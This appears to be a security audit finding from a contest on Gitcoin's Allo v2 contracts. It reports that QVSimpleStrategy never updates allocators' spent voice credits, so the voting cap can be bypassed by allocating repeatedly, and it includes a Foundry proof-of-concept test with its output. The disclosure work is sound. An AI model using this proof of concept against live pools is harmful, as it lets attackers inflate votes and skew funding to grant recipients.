Energetic Berry Llama

high

# Allocators can allocate as much as they want in `QVSimpleStrategy`
## Summary
There is a maximum limit for every allocator in the `QVSimpleStrategy`, but this limit only applies for each allocation call. Allocator can repetitively allocate voice credits up to maximum limit, and allocate as much as they want.

## Vulnerability Detail
Allocators allocate their `voiceCredits` to a recipient and the corresponding vote count of the recipient is calculated according to these `voiceCredits` in Quadratic Voting strategies.  
Allocators have a maximum limit to allocate which is determined during initialization with `maxVoiceCreditsPerAllocator` variable. Each allocator is tracked with `Allocator` struct.

```solidity
    /// @notice The details of the allocator
    struct Allocator {
        // slot 0
        uint256 voiceCredits;
        // slots [1...n]
        mapping(address => uint256) voiceCreditsCastToRecipient;
        mapping(address => uint256) votesCastToRecipient;
    }
```

`QVSimpleStrategy::_allocate()` function validates if the allocator has enough `voiceCredits` left with the internal `_hasVoiceCreditsLeft()` function.

[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121)

```solidity
file: QVsimpleStrategy.sol 
   function _allocate(bytes memory _data, address _sender) internal virtual override {
        (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));

        // spin up the structs in storage for updating
        Recipient storage recipient = recipients[recipientId];
        Allocator storage allocator = allocators[_sender];

        // check that the sender can allocate votes
        if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();

        // check that the recipient is accepted
        if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);

        // check that the recipient has voice credits left to allocate
-->     if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID(); //@audit allocator.voiceCredits is never updated. It is always 0.

        _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);
    }
```

`_allocate()` function passes `voiceCreditsToAllocate` and `allocator.voiceCredits` parameters to the `_hasVoiceCreditsLeft` function. And the `_hasVoiceCreditsLeft` function is below:

[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6)

```solidity
    function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)
        internal
        view
        override
        returns (bool)
    {
        return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;
    }
```

This function checks if the sum of the `_voiceCreditsToAllocate` (credits to be allocated) and `_allocatedVoiceCredits` (already allocated credits) is smaller than the max limit.

The reason for the vulnerability is that the already allocated voice credits are never updated. `allocator.voiceCreditsCastToRecipient` and `allocator.votesCastToRecipient` are updated in the [`QVBaseStrategy::_qv_allocate()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529C1-L530C69) function but [`allocator.voiceCredits`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121C59-L121C81) is never updated, and always 0.

## Coded PoC

You can use the protocol's own setup to prove the PoC below.  
\- Copy the code snippet and paste it into the `QVSimpleStrategy.t.sol` test file.  
\- Run it with `forge test --match-test test_allocateAgainAndAgainWithMaxVoiceCredit -vvvv`

```solidity
    //@audit Use the max voice credit and allocate repetitively.
    function test_allocateAgainAndAgainWithMaxVoiceCredit() public {
        address recipientId = __register_accept_recipient();
        address allocator = randomAddress();

        vm.startPrank(pool_manager2());
        // Add the allocator
        qvSimpleStrategy().addAllocator(allocator);
        
        // Start the allocation period
        vm.warp(allocationStartTime + 10);

        // Max voice credit is 100.
        // Create allocation data with max voice credit and another data with max voice credit + 1
        bytes memory allocateDataMaxCredit = __generateAllocation(recipientId, 100);
        bytes memory allocateDataMaxCreditPlus1 = __generateAllocation(recipientId, 101);
        vm.stopPrank();

        vm.startPrank(address(allo()));

        // Allocate with max credit.
        qvSimpleStrategy().allocate(allocateDataMaxCredit, allocator);

        // Allocate with max credit again.
        qvSimpleStrategy().allocate(allocateDataMaxCredit, allocator);

        // One more time :) https://www.youtube.com/watch?v=FGBhQbmPwH8
        qvSimpleStrategy().allocate(allocateDataMaxCredit, allocator);

        // We allocated 3 times with max voice credit.
        // Revert when we try only one time with max voice credit + 1.
        vm.expectRevert(abi.encodeWithSelector(INVALID.selector));
        qvSimpleStrategy().allocate(allocateDataMaxCreditPlus1, allocator);
    }
```

You can see the test results below:

```solidity
Running 1 test for test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest
[PASS] test_allocateAgainAndAgainWithMaxVoiceCredit() (gas: 338291)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.58ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact
Allocators can allocate as much as they want.

## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121

```solidity
        if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();
```

[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6)

```solidity
    function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)
        internal
        view
        override
        returns (bool)
    {
        return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;
    }
```


## Tool used

Manual Review

## Recommendation
Update the `allocator.voiceCredits` too after allocation.

